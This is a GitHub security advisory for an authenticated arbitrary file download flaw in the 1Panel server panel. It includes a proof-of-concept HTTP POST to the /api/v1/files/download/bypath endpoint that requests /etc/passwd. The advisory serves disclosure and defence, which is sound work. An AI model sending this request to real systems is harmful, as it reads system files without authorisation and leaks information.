1Panel Arbitrary File Download vulnerability
Moderate severity
GitHub Reviewed
Published
Aug 10, 2023
in
1Panel-dev/1Panel
•
Updated Nov 12, 2023
Description
Published by the National Vulnerability Database
Aug 10, 2023
Published to the GitHub Advisory Database
Aug 10, 2023
Reviewed
Aug 10, 2023
Last updated
Nov 12, 2023
Summary
Any file downloading vulnerability exists in 1Panel backend.
Details
Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access.
PoC
payload:
POST /api/v1/files/download/bypath HTTP/1.1
Host: ip
Content-Type: application/json
{"path":"/etc/passwd"}
Impact
Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.
References